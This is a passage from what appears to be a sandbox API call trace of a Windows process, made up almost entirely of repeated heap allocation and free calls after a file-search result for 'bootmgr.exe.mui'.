ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0119.541] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0119.541] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.541] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30229c0 | out: hHeap=0x5e0000) returned 1 [0119.542] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x30229c0 [0119.542] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.542] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.542] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.542] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.542] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.542] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.542] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.542] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.542] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.542] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.542] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.542] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.542] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.542] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.542] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.542] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.542] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.542] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.542] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.542] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.542] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.542] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.542] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.542] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.542] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.542] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.542] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.542] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0119.542] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.542] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.542] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.542] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.543] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.543] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.543] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.543] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.543] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.543] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.543] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.543] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.543] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.543] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.543] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.543] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.543] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.543] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.543] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.543] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.543] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.543] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.543] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.543] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.543] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.543] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.543] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.543] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.543] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.543] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.543] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.543] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.543] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.543] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.543] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.543] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.543] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.544] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.544] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.544] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.544] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.544] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.544] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.544] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.544] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.544] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.544] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.544] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.544] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.544] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.544] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.544] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.544] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.544] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.544] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.544] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.544] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.544] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.544] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.544] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.544] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.544] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.544] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.544] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.544] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.544] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.544] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.544] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.544] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.544] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.544] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.545] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.545] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.545] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.545] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.545] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0119.545] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.545] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.545] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.545] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.545] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.545] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.545] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.545] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.545] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.545] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.545] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.545] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.545] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.545] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.545] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.545] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.545] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.545] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.545] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.545] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.545] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.545] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.545] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.545] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.545] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.545] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.545] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.545] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.545] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.546] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.546] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.546] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.546] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.546] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.546] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.546] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.546] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.546] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.546] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.546] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.546] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.546] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.546] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.546] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.546] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.546] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.546] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.546] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.546] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.546] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.546] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.546] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.546] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.546] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.546] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.546] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.546] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.546] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.546] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.546] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.546] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.547] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.547] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.547] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.547] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.547] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.547] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.547] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.547] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.547] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.547] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.547] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.547] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.547] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.547] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.547] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.547] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.547] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.547] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.547] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.547] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.547] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.547] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.547] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.547] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.547] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.547] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.547] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.547] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.547] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.547] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.547] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.547] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.547] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.548] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.548] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.548] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.548] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.548] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.548] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.548] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.548] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.548] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.548] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.548] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.548] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.548] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.548] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.548] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.548] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.548] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.548] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.548] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.548] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.548] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.548] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.548] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.548] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.548] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.548] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.548] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.548] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.548] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.548] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.548] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.548] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.548] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.548] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.548] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.549] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.549] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 